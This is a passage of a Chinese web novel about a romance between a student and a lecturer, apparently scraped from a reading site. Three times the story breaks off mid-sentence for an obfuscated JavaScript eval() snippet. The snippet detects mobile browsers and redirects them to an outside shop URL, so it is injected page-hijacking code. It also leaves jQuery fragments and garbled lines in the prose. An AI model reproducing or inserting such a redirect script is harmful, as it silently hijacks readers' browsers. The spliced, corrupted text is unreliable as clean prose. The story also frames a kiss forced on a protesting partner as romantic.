电话那头陷入了更长的沉默,几分钟后,女人声音里崩溃褪去了大半,只剩下无奈的疲惫和些许的尴尬:“……谢谢老师,抱歉……今天冒昧打扰您了,是我有些激动了。” “没关系,我能理解。” 话音刚落,电话便被挂断,只留下一串忙音。 沈北岛缓缓放下手机,镜片后的眸光看不出丝毫波澜。 他修长的手指在屏幕上快速操作,删除了刚才的通话记录,仿佛要将这场深夜的风波彻底抹去。 这时,微信提示音响起,是李锐发来的消息: 【林逸怎么回事?阿姨刚才打电话问我昨天在哪,干什么了,语气好奇怪】 沈北岛想了想,打字回复【你怎么说】 李锐【我就照实说啊,在省博物馆做志愿者,晚上还跟你一起吃了顿饭,她还旁敲侧击问我最近有没有谈女朋友,我说我忙着考研,没有时间谈恋爱】 沈北岛【然后呢】 李锐【然后阿姨就说:“哦,好,没事了”,就把电话挂了】 沈北岛【嗯,知道了】 他关掉与李锐的对话框,同样干净利落地删除了这几条聊天记录。 做完这一切,他才重新拿起筷子,面对那碗早已凉透的面,慢条斯理地继续吃完,仿佛刚才什么都没有发生…… …… 翌日。 林逸是被生物钟和一种宿醉后的轻微头痛唤醒的。 他猛地从床上坐起,陌生的环境让他瞬间清醒。 环顾四周,是简洁而富有质感的男性卧室,空气中竟然还弥漫着淡淡的属于沈北岛的气息。 他还没有来得及思考昨天发生了什么,卧室门被轻轻推开,沈北岛端着一杯水走进来。 他依旧穿着家居服,但整个人看起来清爽利落,只是好像.......黑眼圈有点重? 林逸挠挠头:不会是我被我…… “咳,现在几点了?”林逸有些窘迫地问,脑海里疯狂回放着昨晚的片段。 喝酒、告白、然后……就断片了? 不是吧?居然一杯倒? 那昨晚的告白进行到哪一步了?! 沈北岛走到床边,看了一眼腕表:“不到十点。” 他的目光落在林逸脸上,随即伸出手,用手背轻轻贴了贴他的额头,“嗯,没发烧,你半夜踢了两次被子,现在天气转凉容易感冒,要小心些。” 额头上传来干燥温暖的触感,林逸推开他的手,强作镇定地别开脸:“我身体好着呢!” “嗯,看得出来。”沈北岛的唇角勾了勾,将水杯递给他,“起来吃点东西?” 林逸接过水杯,一口就干了。 他低头,这才发现自己身上穿着一套陌生的深灰色棉质睡衣,尺寸明显偏大,松松垮垮地罩在身上。 “这个……”艾洛耳根微微发热,“是你帮我换的?” “是。”沈北岛的回复很简单,没有多余的解释。 沈北岛看上去我不想解释。 林逸捧着水杯,犹豫片刻,抬眼直视沈北岛,声音带着宿醉后的沙哑:“那我昨天……跟你说的那些话……你,你是怎么考虑的?” 问完,他又有些心虚地垂下了眼睫,不敢去看沈北岛的反应。 他怕听到拒绝。 更怕听到因为自己醉酒后被当作戏言的回应。 沈北岛没有立刻回答。 他静静地看了他几秒,然后,身体微微前倾,靠近了一些。 沈北岛开口:“你觉得我该怎么反应,才合适?” 林逸被他问得一愣,一股热血冲上头顶:“什么我觉得……喜欢就是喜欢,不喜欢就是不喜欢!哪有什么合不合适的说辞!” 林逸:“沈北岛,我就问你,你愿不愿意跟我在……” 后面的话,被一个突如其来的,温软的触感堵了回去。 沈北岛俯身,吻住了他的唇。 林逸的大脑瞬间一片空白,所有的思绪都停滞了。 他只能感受到唇上传来的带着一丝清凉薄荷气息的柔软压力,以及沈北岛近在咫尺的平稳呼吸。 哎?竟然是口香糖的味道? 林逸混沌的脑海里闪过这个念头。 大早上的就吃了口香糖…… 难道他,他,他早就想....... 这个认知像是一簇火苗,瞬间点燃了林逸体内所有的热情的劲头。 所有的忐忑、不确定都在这一刻烟消云散。 林逸伸出手,紧紧搂住了沈北岛的脖颈,开始激烈地回应这个吻。 他不再是被动承受的一方,而是生涩却热情地吮.吸,舔.舐,试图撬.开对方的齿关,深入那个更具吸引力的领域。 属于“1”的进攻本能在此刻苏醒。 林逸手臂用力,凭借着瞬间的爆发力和体位的优势,一个翻身,竟将沈北岛反压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804007|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了柔软的大床上。 他跨坐在沈北岛的腰腹之间,居高临下地看着身下的人,眼神因为情.动而显得格外湿润明亮,带着一点儿挑衅的光芒。 他再次俯下身,想要继续这个吻。 沈北岛的手稳稳扶住他的腰,声音里带着点笑意:“这么着急?” “.......是你先亲我的。”林逸不服气,“我亲你一下,这算是有来有往。” 沈北岛低笑:“昨晚,某个小朋友信誓旦旦说喜欢我.......” 林逸耳根发烫,用掌心捂住他的嘴,凶巴巴地说:“我那是喝醉了。” 沈北岛却觉得他炸毛的样子可爱得很,一只手握着他的手腕,缓慢地挪到了胸膛上。 “酒后吐真言,现在酒醒了,想耍赖?” 林逸有些着急地去抓沈北岛的手腕:“我才没有。” 沈北岛任由他抓住手腕,却在他凑近时微微后仰:“那......证明给我看。” 林逸:“怎么证明?” 沈北岛的视线落在他唇上,“告诉我,你现在有多清醒。” 林逸主动咬了上去,带着一股不服输的劲头。 可就在双唇即将相贴的刹那,沈北岛突然侧过脸,那个带着点凶巴巴的吻便软软地落在了他的脸颊上。 “还是急了点。”沈北岛的气息轻柔拂过他发烫的耳廓,“真正清醒的人,不会这么莽撞。” 林逸耳根烫得厉害,嘴上却不肯服软:“你是觉得我……莽撞了吗?” 他松开钳制对方手腕的手,转而捧住沈北岛的脸,指尖微微发颤,语气故作镇定:“那你教我。” “闭上眼睛。”沈北岛的声音带着蛊惑。 林逸浓密的眼睫轻轻颤动,顺从地阖上。 视觉被剥夺后,其他感官被无限放大,他能清晰地感受到那温热的呼吸正一寸寸地靠近,带着清冽的薄荷气息,搅乱了他的心跳。 就在他以为下一秒就能触碰那份温软时,那气息却停住了。 “数到三。” 沈北岛的气息拂过他的唇瓣,“一......” 林逸紧张地等待着...... 林逸:哼,他一定在考验我!我要保持表情管理,嘴不能歪......表情要像拍毕业照那样端庄大气上档次! 可是……数到三是要干嘛?他不会是要弹我脑门吧...... 沈北岛想:谈过那么多男朋友,居然这么听话的吗? 沈北岛凝视着眼前这张全然信赖,带着少年稚气的脸,心底某个“坚硬的角落”仿佛被什么轻轻撞了一下。 他见过林逸平日里张扬跳脱的模样,却没见过他如此乖巧,任人拿捏的时刻。这极致的反差,带来一种近乎残忍的新鲜感,让他心生愉悦却又不得不强行压下情绪。 “二。”他吐出这个数字,声音比刚才更哑了几分。 在“三”字落下的瞬间,林逸迫不及待地仰头凑了上去,像一只终于被允许靠近水源的小野马,急切地吮.吻那片他觊觎已久的温凉。 这次沈北岛没有躲闪,却也没有给予回应,他承受着来自怀中之人的,所有青涩而混乱的探索...... 他清晰地感知到那毫无章法的吻,以及林逸紧张而微微颤抖的身体...... 在情感的博弈中,先动心的人往往率先交出底牌。 可是,单方面的主动是消耗,双方的回应才是滋养,真爱的可持续性,源于主动者的不愿停歇,也离不开被动者的甘之如饴。 ——乍见之欢易得,久处不厌难寻。 沈北岛进半步,退半步,度量着这份懵懂的感情,走向短暂的花期,还是永恒的四季…… 11. 第 11 章 热帖:那些认识几天就在一起的情侣,后来都怎么样了? 【1楼】请不要拿时间长短来衡量感情,不合适的认识多久都烂尾,合适的一见钟情就是一辈子 【2楼】谢邀,我和我家先生,认识三天就在一起了,一年内领证,现在宝宝正躺在我们身边睡觉呢 【3楼】分了 …… 热帖:如果男朋友交往情史丰富,跟我认识几天就在一起了,他是真的爱我吗? 【1楼】谁还没个过去呢!得慢慢观察一下吧 【20楼】笑死,现在流行闪恋闪婚,纯爱战神应声倒地~ 【36楼】 《死去的回忆突然攻击我》当年闪婚,现在已在法庭争狗 【45楼】爱不爱不知道,这帖子被你们玩成连续剧了哈哈哈 【58楼】 《论人类早期驯服恋爱脑的珍贵影像》 …… 【378楼】好看,爱看,多更啊啊啊啊 …… “沈老师?沈老师?” 沈北岛下意识地按熄手机屏幕,抬眸望去,眼底还残留着一丝未来得及收敛的专注:“嗯?” 同学院的女老师方渝站在他办公桌旁,脸上带着探究的笑意:“想什么好事呢?大早上就心不在焉,我都叫你好几声了。” 沈北岛迅速恢复了平日里那副波澜不惊的模样,指尖在熄屏的手机上轻轻一点:“没什么,家里的事。” 方渝将一份文件递到他面前,身体自然地侧靠向他的办公桌沿,拉近彼此的距离:“晚上要不要一起去吃个饭?我知道一家新开的日料店,味道很正宗。” 沈北岛身体向后微仰,避开了那过于亲近的气息,目光落在文件上:“这是什么文件?” 方渝细微地蹙了下眉,然后站直了身体:“哦,有个翻译出版的项目,院里的领导让我问问你的意见,看你有没有兴趣。” 沈北岛接过文件,没有立刻翻开:“我不确定是否有时间,最近有些忙。” “忙吗?”方渝有些疑惑,“大三鼓励学生实习,课程都减半了,你应该比之前清闲才对呀?这个项目跟评职称相关,接下比较好。” 至于方渝后面又补充了项目的一些优势,沈北岛基本没听进去。 忙吗? 确实忙。 忙着谈恋爱,忙着研究如何安抚一只看似洒脱实则敏感的小兔子,忙着思考怎样做才能让那只兔子愿意更黏人一点,而不是像现在这样…… 自从那日清晨林逸向他表达心意后,这一周两人都没有见面。 林逸陷入了课程的忙碌中。 这一周,他们维系关系的模式固定且规律:总是沈北岛在晚上九点拨去电话,通话时长通常在十分到二十分钟之间。 林逸会接听每一次通话,声音里带着年轻人特有的活力:抱怨功课,分享趣事,但从不逾矩,也从不主动。 这种单向的联络,让沈北岛清晰地感受到一种微妙的被动。 一种难以言明的悬空感,促使他开始不由自主地浏览起各类情感论坛,试图从他人的故事里寻找参照。 “沈老师,你觉得怎么样?”方渝的声音打断了他的思绪。 沈北岛刚才只捕捉到只言片语,以为是在问项目本身,便顺着应道:“嗯,挺好的。” 方渝愣了一下,她刚才明明是在分析项目可能遇到的难点。 她看了一眼明显不在状态的沈北岛,没再多说,转身回到了自己的工位。 沈北岛再次解锁手机,屏幕依旧停留在那个匿名情感论坛的页面。 沈北岛在这条热帖下提问:现男友曾经交往过六十五任,请问,我怎么做才能让他忘掉所有前男友? 【1楼】 65任???楼主你确定吗? 楼主回复1楼:嗯,偶然看到了他的微信聊天记录,备注编号最高是65任 【2楼】你现男友是有什么KPI需要完成吗?搁这里集邮呢? 【3楼】分手了还有前男友微信?楼主危险危险危险!好久不见...... 楼主回复3楼:分手可以做朋友的,应该不爱。 【4楼】 ????楼主你这逻辑是跟渣男学的吗? 【5楼】建议直接在他脑壳上安装个360安全卫士,一键清理前任缓存! 【6楼】楼主我说话不好听,这摆明是资深渣男,赶紧跑路保平安! 楼主回复6楼:请不要这样说他。你说话确实不好听。 【7楼】 ???? 【8楼】楼主有点意思hhhhh 【9楼】我来算算谈65个?如果跨度十年,平均一年6.5个,每个月0.54个,好像也不算太夸张? 【10楼】楼上数学是体育老师教的吧? 【11楼】注意审题各位!楼主问的是怎么让男朋友忘掉所有前男友,划重点:忘掉所有!你们这些劝分的跑偏了! 楼主回复11楼:嗯,愿闻其详。 【12楼】个人建议,你也成为他前男友列表中的一员,这样你就有立场去创飞所有前任了 楼主回复12楼:不妥。此方案不可行。 【13楼】楼主是不是清朝穿越来的?说话好严肃,一板一眼的,你多大啊? 楼主回复13楼:不是清朝,他22岁,是学生。我30岁,是老师。 【14楼】我嘞个去!师生恋?! 【15楼】这个瓜我大吃特吃! 【16楼】是师生就好办了呀!利用身份找一个能拿捏住她的正当理由,比如学业、实习报告什么的,把他慢慢驯化成围绕你转的……嗯,好学生! 【17楼】 22岁的学生应该都比较穷吧?买点对方舍不得买的昂贵礼物?用物质感化? 楼主回复17楼:谢谢建议,他似乎并不缺钱 【18楼】感觉楼主好呆的样子,真的能满足20多岁精力旺盛的小年轻吗? 【19楼】禁止人身攻击!楼主没有被告知的义务。 楼主:我性别男,我的男朋友也是男性,同性恋 楼主:能满足。 【20楼】 ?????? 【21楼】哈?能满足什么(竖起耳朵) 【22楼】那更简单了!这种年轻气盛的小0,你直接展现成熟男人的魅力和体力,让他没精力也没心思去想前任! 【23楼】俗称:干死他 ...... 沈北岛认真地浏览着这些五花八门的建议,逐渐若有所悟。 他打开了林逸的微信,正犹豫是该发条信息问问林逸在做什么,还是该直接打个电话聊聊天? 但他又担心过于频繁的联系,会让年轻人觉得他这个“30岁的小叔”有些烦。 手机屏幕突然亮起,来电显示正是【林逸】 沈北岛立刻站起身,指尖迅速划过接听键,同时大步走向办公室连接的阳台。 动作略显急促,甚至不小心带倒了一旁的椅子,发出“哐当”一声轻响。 这罕见的失态引得方渝惊讶地望向他,她从未见过沈北岛如此莽撞急切的样子。 “沈北岛?”电话那头传来林逸的声音,似乎有些疲惫,但语气是轻快的: “说来也巧,我这不是马上要实习了嘛,我爸……嗯…… 我吧……入职的这家公司,就在江州大学旁边,大概八百米距离,我刚办完入职手续,想中午跟你一起吃个午饭,可以吗?” 沈北岛张了张嘴,答应的话在喉咙里转了一圈,说的时候却慢了半拍。 林逸等了一秒,没听到立刻的回应,声音低了些:“如果你忙就算了,我……我就找我朋友吃饭,没关系的……” “林逸。”沈北岛打断他,声音透过电流,显得分外低沉,“我是你什么人。” 电话那端愣了一下,似乎没料到他会这么问,随即传来带着一点不确定的回答:“男朋友吧?” “所以,”沈北岛靠在阳台栏杆上,目光望向楼下熙攘的校园,“我应该有什么理由拒绝你吗?” 这句话把林逸问懵了。 沈北岛继续道,像是在陈述一条定理:“作为男朋友,对于一起吃饭这件事,不必用询问的语气,可以直接告知,或者是下达通知。” 他顿了顿,声音里注入难以察觉的温柔,“一位合格的伴侣,无论忙或不忙,都会为他的男朋友挤出陪伴的时间。” 林逸:“我……” 天呐!这还是寡言少语的沈北岛吗? 好霸道,我好喜欢。 林逸:“那我能尝尝你们学校食堂的饭吗?听说很好吃。” 沈北岛闻言,无奈地扶额。 他不得不再次承认,22岁和30岁的思维模式,确实存在着可爱的代沟。 放着外面各式各样的餐厅不去,偏偏对大学食堂感兴趣。 “好。”他应道,语气纵容,“那我在学校南门等你。” 挂了电话,沈北岛思索片刻,向相熟的学生管理部门借了一套合身的校服,戴上一顶鸭舌帽和口罩,将自己那张容易引人注目的脸遮了大半。 当他以这样一副“学生”打扮出现在南门口时,林逸已经等在那里了。 他还是那一身简约的卫衣搭配牛仔裤的打扮,因为天气转凉,外面套了件黑色的皮质马甲,显得又酷又帅。 只是,沈北岛敏锐地察觉到,林逸不像上周那样散发着没心没肺的活力,眉宇间似乎萦绕着一层淡淡的,强撑着的阴霾。 两人汇合后,一起去了好评较多的临江餐厅食堂。 林逸兴致勃勃地点了一份麻辣烫,沈北岛看着那明显不属于他健康食谱范畴的食物,微微蹙眉,但最终还是跟着点了一份一模一样的,只是想陪着林逸一起吃。 “哇,你们学校的麻辣烫味道真不错!”林逸吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804008|190733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溜着一根宽粉。 “你喜欢的话,下次再来。” 沈北岛看着他,温和地说。 “还有下次吗?” “当然,你想来随时可以......” “沈北岛。”林逸突然放下筷子,表情变得有些严肃。 他犹豫了几秒,抬眼直视着沈北岛,“你是不是……有什么事情瞒着我?” 林逸:饭吃完了,有些话也得说说了。 沈北岛皱眉:他发现了?是我的校服太新不合身?还是李锐的学生卡被他看出了破绽? 他不动声色:“为什么这么问?” “你是gay吗?”林逸的问题直白得让沈北岛猝不及防,“你是天生就喜欢男人的吗?” 原来是问这个。 沈北岛暗自松了口气,斟酌着用词,认真回答:“在认识你之前,我没有对任何人产生过想恋爱的情感,无论男女,我对婚姻更没有期待。但是遇到你以后.......” “骗子。”林逸打断他,眼神却一点点冷了下来。 沈北岛眉心微蹙:“......” 林逸站起身:“我真是幸运啊?你既不喜欢男的,也不喜欢女的,偏偏就只喜欢我?这种万里挑一的低概率事件怎么就让我碰上了?” 沈北岛听出了他语气里浓烈的讽刺和不满,立刻起身追过去。 起身时,他下意识地将帽檐压得更低,并拉高了口罩。 他伸手想去拉林逸的手腕,却被对方狠狠甩开。 “林逸,你是不是对我有什么误会?”沈北岛试图解释。 “误会?”林逸冷笑一声,“你是不是也觉得跟男人谈恋爱很丢人?所以才把自己捂得这么严实!还说什么感冒了!可你......” “你根本就没有流鼻涕,说话声音也不像感冒的!” 林逸最讨厌装模作样的,如果接受不了完全可以告诉他,或者拒绝他,明明答应了在一起,出门一趟却捂的这么严实。 沈北岛迈开长腿紧跟在他身后,“我是真的有点不舒服,怕传染给你。” “呵。”林逸显然不信,再次推开,往食堂门外走。 沈北岛看着他决绝的背影,心头那股压抑了一周的不安越来越重,论坛里那些建议瞬间交织在一起,几乎要冲破他的理智。 他几步追上,这一次不再是温和的拉扯,而是带着不容抗拒的力道,一把将林逸拽了回来。 在林逸惊愕的目光中,在人来人往的食堂门口,沈北岛一手紧紧揽住他的腰,低头,覆上了那双因为生气而微微张开的唇。 “唔……”林逸完全没料沈北岛会在公共场合做出这样的举动。 他开始挣扎起来,双手用力拍打着沈北岛坚实的胸膛,试图推开他。 他在林逸挣扎和抗拒下,扯下口罩,咬住了他的唇...... 沈北岛的喉结因为激烈的呼吸而上下剧烈滚动着,他哪有那么平静,全都是装的。 周围瞬间安静了一瞬,随即爆发出细碎的惊呼声,无数道来往的目光聚焦在这两个男同学身上,路过的两个女孩子惊讶地捂住嘴,还有同学已经偷偷拿出手机,对着这养眼又劲爆的一幕开始拍照...... 林逸被亲得浑身发软,原本抵在对方胸膛推拒的双手渐渐失了力道,指尖无意识地蜷缩,变成紧紧攥住沈北岛胸前衣料的依赖姿态,将他的校服抓出凌乱的褶皱。 他被禁.锢在沈北岛炽热的怀抱里面,运动鞋无助地向前蹭动,不小心踩在沈北岛干净的白色运动鞋上,留下半个模糊的鞋印,像极了他们这个群体不敢公开却又渴望宣告的关系。 直到周围此起彼伏的议论声越来越清晰,夹杂着快门声和窃窃私语,沈北岛才勉强从这场意乱情迷中找回一丝理智。 爱,确实会让人失控。那些论坛网友说得没错。 他气息未平地结束这个缠绵的吻,重新拉上口罩。 黑色鸭舌帽檐下,那双通红的耳朵透出羞赧的暖色,连耳廓上细微的血管都能看得清晰,他低声问:“现在可以证明我不是骗子了吗?” 林逸不再那么没精打采,眼神亮亮的,依旧很恼地小声说:“......不是骗子,是大骗子。” 这个带着撒娇意味的小动作让沈北岛眼底漾开笑意,“你好可爱。” 他无视周围各种异样的目光,紧紧握住林逸的手,低声说:“我喜欢你在我面前撒娇。” 林逸小声警告:“沈北岛!......” 还没说下一句,林逸些许有些社死感,赶紧拽着他往外走。 林逸的力道不大,沈北岛却被他扯得脚步踉跄。 在晃动的视线里清晰地看见,那双本该游刃有余的手,此刻正温顺地被林逸牵引。 这个认知让沈北岛喉结滚动。 他想到了,漂亮矜贵主人,手中松松挽着一根皮质缰绳,牵着一只杜宾犬穿过人群的画面。 12. 第 12 章 林逸一路沉默无言,只是拽着沈北岛的手腕,闷头往前走。 今日的阳光有些晃眼,直到一栋造型如新月般的建筑映入眼帘,浅蓝色的玻璃幕墙清晰地映出流云与蓝天,林逸觉得心口那团莫名的郁气,似乎被这明亮的景象驱散了些许。 “林逸。” 沈北岛停下脚步,轻轻往回带了一下力道。 林逸正有些走神,被他这么一拉,重心不稳,整个人向后跌去,后背稳稳地撞进一个温热的怀抱里。 沈北岛的手臂自然地环住他,温柔的声音在他耳畔响起:“是不是我哪里做得不够好,才让你这么没有安全感?” “谁,谁没有安全感了!” 林逸立刻从他怀里弹开半步,别过脸去,反驳道,“还不是因为你体格这么大,身体看着就好,感冒了都看不出来症状!刚才你那样……我回去还得喝包999感冒灵预防一下。” 沈北岛:“我家里有。” 他的目光像是带着被他情绪牵动的丝线,直勾勾里透着认真,“可以去我家里……预防。” 林逸脸上微热,伸手轻轻推开,心里暗自腹诽:看着文质彬彬的,怎么每次都想拐我去你家?就这么着急跟我……才不会让你得逞! “我下午还有事呢。”林逸扬起下巴,努力摆出公事公办的姿态,“我入职公司了,等会儿还要回去上班。” “那晚上我去接你……”沈北岛说。 “不行!”林逸立刻否决,想起刚才在公共区域的亲吻,脸颊更烫了,“你做事一点也不稳重,哪有在那种地方就……接吻的?影响多不好。” 沈北岛看着他微红的侧脸,语气平静却坚定:“我不介意。别人的看法,不影响我想表达爱意的机会。” “我介意!!”林逸突然有些炸毛,“gay不是被所有人接受的,你这么做会引来别人异样的眼光,你懂不懂?” 沈北岛沉默了片刻:“眼光异样,是他们认知的狭隘,考虑接受新事物是他们需要做的事,我们不需要反省。” “我们只是进行了人与人之间表达情感的正常肢体接触,并没有做错什么。” 沈北岛的话让林逸迟钝了一下,他想起今天早上去谢醇公司办理入职,他爸手机里打来的那个电话。 “谢醇,你欺骗我可以,但是你能不能放过我们的孩子,他是无辜的啊……你找的那个小助理电话都打到我这里来了,说你们一起吃饭很不愉快,让我管好我的儿子……你能不能不要再带林逸去见那些不三不四的同性恋……” 如果妈妈是用咒骂、憎恨的语气,林逸一定会觉得痛快! 是的,骗婚的男同性恋本就该被唾弃。 而他是这场错误婚姻最可悲的产物,更讽刺的是,他继承了亲生父亲刻在骨子里的基因,也是个该死的同性恋。 可偏偏,妈妈用的是那样卑微,近乎乞求的语气。 他这个因“错误”而诞生的存在,只觉得心脏像是被大力紧紧攥住,钝痛蔓延,无法呼吸。 一位家境好,学历高,拥有自己的公司,一生光鲜的女人,因为一场骗取的婚姻,患上了精神疾病,甚至差点送到精神病院…… “林逸?”沈北岛敏锐地察觉到他情绪的急剧低落,那双清亮的眸子此刻蒙上了一层阴霾。 他放柔了声音,带着几分小心,“你是不是遇到什么事了?如果我哪里做得不对,你可以告诉我……” 话音未落,林逸扎进了他的胸膛,额头抵着他坚实的肩膀,身体无法控制地微微颤抖起来。 温热的液体迅速洇湿了沈北岛衬衫的布料,烫得他心头一悸。 他竟然……哭了。 “我本来就没有做错什么……”林逸把脸埋在他怀里,声音闷闷的,带着浓重的鼻音,“为什么他们犯下的错……要我来承担……” 沈北岛感受到胸前的湿意,也跟着难受起来。 他抬起手,安抚地、一下下轻拍着林逸的头,“好了,好了……” 他低声哄着:“「同性恋」本身从来就不是一个错误的词语,只是国内一些老一辈的人思想比较保守,因为不了解,所以感到恐惧和排斥。 但世界上很多国家已经承认同性婚姻,这说明这个群体一直存在,并且数量不容忽视…… 你如果觉得我太高调,我下次注意,不这样了,好吗?” 或许是感受到了毫无原则的偏宠,林逸生出几分有恃无恐的娇气,发泄般地用拳头捶了他两下,嘟囔道:“反正丢人的是你,不是我,这是你们学校。” “嗯。”沈北岛任由他动作,手臂收得更紧了些,“我倒是真怕,不小心把你这个人弄丢了,就再也找不回来了。” 沈北岛隐约猜到了什么。 或许,有些关于他们未来的事,他需要更主动一些,掌握更多的主动权,才能更好地护住这个看似张扬实则既敏感又脆弱的小孩。 手机的振动声不是时候地响起。 林逸摸向自己的口袋,有点舍不得沈北岛温暖的怀抱,就这么半靠着他,划开了屏幕。 来电人【谢醇】 “喂。”他吸了吸鼻子,努力让声音听起来正常,“什么事?” “小逸?你感冒了吗?” 林逸看了一眼沈北岛,稍稍推开了他一些,含糊地应道:“嗯,是,刚才被一个感冒的同学传染了。” “传染?”谢醇的追问带着过分的关心,“你们做了什么会传染?” 林逸没想到他会追问这个,一时语塞,下意识地又抬头看向沈北岛,却看到了一张比锅底还阴沉的脸。 “没什么……就,待在一起久了容易传染,”林逸心虚地咳嗽了一声,“咳,你别问了,找我什么事?” “等会儿回公司一趟,按照人事部要求,去指定的机构做入职体检。我没有跟公司任何人透露我们的关系,这是为了让你能更快适应环境,而不是被区别对待。” “哦,知道了。”哼!真把我当成继承人培养了?别忘了,我姓林,随我妈姓,可不跟你姓。 “我下午有事要回美国,下次回来估计要下个月了。你的直属领导,也是公司在江州的总负责人,叫虞枫,是个很有能力的人,多跟他学习。” “好好好,知道了,挂了。” 电话挂断,林逸一转身,才发现沈北岛不知什么时候紧贴在他身后,两人之间的距离差点变成负数。 他还是表现出一贯的风度,至少没有把电话夺过去,质问这个陌生男人是谁。 “谁的电话?”沈北岛问。 林逸张了张嘴,还没发出一个音节,沈北岛继续开口,条理清晰地陈述着他的发现: “叫谢醇,是个男人的名字,他在电话里很关心你,不像是普通关系。” “他还询问了你的隐私。” 林逸看着他这副明明在意得要命,却还要努力维持理性分析的样子,忽然觉得有些好笑,甚至笑得冒出了个鼻涕泡。 沈北岛见状,从兜里掏出纸巾递过去,眉头微蹙,一脸担忧地看着他,却也等待他的解释。 “他问我什么隐私了?”林逸接过纸巾,忍不住想逗逗他,“偷听我电话,还听得这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无论对方是谁,都像是试图介入的第三者,真正的爱,不会被第三者轻易夺走。 这点自信,他沈北岛还是有的。 “走吧。”林逸主动拉起他的手,指尖穿过他的指缝,变成十指相扣的姿势,“陪我回公司填个表,就在旁边八百米……” 他一边说,一边自然地用另一只手勾住沈北岛的脖子,几乎是跳了一下,将自己半挂在他身上。 沈北岛默契地微微俯身配合,手臂稳稳地托住他。 从背后看去,身形高挑的林逸突然很像一只依赖着参天大树的树袋熊,整个人都贴在了沈北岛身侧。 “这就要从二十二年前讲起了。”林逸晃着两人交握的手,依旧忍着笑,“二十二年前呢,有一位叫作林泾芝的女士和一位叫作谢醇的男士,在特闷结婚后,有了一个孩子。等孩子生下来,就给他取名叫林逸。” 他顿了顿,侧过头在沈北岛脸上亲了一下,留下一个响亮的“啵”声,然后才继续说:“时光荏苒,岁月如梭,于是现在的沈北岛先生,非常幸运的,拥有了一个叫林逸的男朋友。” 沈北岛一直安静认真地听着他的“胡扯”,直到他说完,他才反应过来。 他脚步一顿,看向林逸:“谢醇……是叔叔?” “昂!”林逸笑的得意,“没错,就是你未来的岳父大人。” 沈北岛:“……” 13. 第 13 章 林逸若有所思地眨眨眼,突然冒出一句:“不对,你应该叫‘公公’才对。” 沈北岛微微一怔,随即眼底漾开温柔的笑意。 先不讨论称呼,沈北岛心想:小家伙这是已经在考虑把我“娶”回家了吗? 原来他比我想的还要更长远。 沈北岛嗓音里带着纵容:“嗯。” 顿了顿,又故意逗他,“不过,我还是觉得叫岳父大人更亲切些。” “少来。”林逸扬起下巴,带着几分小骄傲,“我家肯定是想要我带个媳妇回去的,可不会允许我入赘外姓。” 沈北岛注视着他的眼睛,语气温和,“那你家人对两个男人恋爱,是支持的吗?” 林逸脚步突然停顿,咬了咬唇,随后摆摆手,用轻松的口吻说:“当然了,我家人从不会干涉我的生活。” 然而他微微闪躲的眼神,和那一瞬间的迟疑,没有逃过沈北岛敏锐地观察。 沈北岛想起那晚那个备注为【妈妈】的充满愤怒与痛苦的电话,他不该戳穿这个善意的谎言。 沈北岛:“嗯,很开明的父母。” “那你呢?你说过你既不喜欢女人,也不喜欢男人……” 林逸走在前面半步,晃了晃手臂,用余光向后瞥去,“你爸妈应该不知道,你交了个男朋友吧?” “他们常年住在德国,有时差,所以我们固定一周通一次电话。” 沈北岛平静地陈述,目光始终落在林逸身上,“不过我每隔半年会去看他们一次,如果到时你有时间,我想带你去见见他们。” “.......”林逸完全没料到沈北岛会如此直接地考虑到见父母这一步,只感觉周围的空气瞬间变得燥热起来。 他强作镇定,一副我考虑考虑的小模样:“.......那也得我爸先看看你这个儿媳妇再说!” 话一出口,两人都愣了一下。 不知不觉间,他们竟然已经说到了谈婚论嫁,可他们分明才认识不过数日。 一种微妙的氛围在空气中无声地流淌,林逸耳根悄悄红了。 “我到了。”林逸有点慌乱地主动结束这个话题,指着身后的大厦,“公司在十层,你要跟我一起上去吗?” “可以吗?”沈北岛配合地找了个理由,“我马上也要毕业了,正好想去看看实习环境。” 林逸:“那走呗!随便逛逛。” 这可是你未来“公公”的家族产业,如果你愿意,还能给你开实习证明呢。 不过,幸好谢醇今天不在,不然他要是知道我们的关系,肯定会故意刁难沈北岛。 ...... 到达十层后,沈北岛在会客区等待林逸。 一位年轻的前台小姐姐微笑着递给他一杯茶水:“请问您是来面试的吗?” “不是,多谢。” 沈北岛礼貌地伸手接过纸杯,指尖刻意避开与女生的接触,“我等人。” 他端起纸杯轻抿一口,目光始终追随着玻璃房里的那个身影。 与此同时,林逸正心不在焉地填写关于体检的申请表格。 刚在姓名那一栏,写上了【林逸】两个字,一抬头,只见递茶的前台小姐姐正俯身与沈北岛说话,笑靥如花地将手机递到他面前。 笔尖在纸上突然失手划出了一道痕迹。 林逸盯着那双骨节分明的手接过手机,看着他们相视而笑的模样,突然觉得喉头发紧。 他无意识咬住下唇,指尖捏着表格边缘渐渐泛白。 原来沈北岛对谁都会这样温柔。 这个认知让他心口泛起酸酸的胀意。 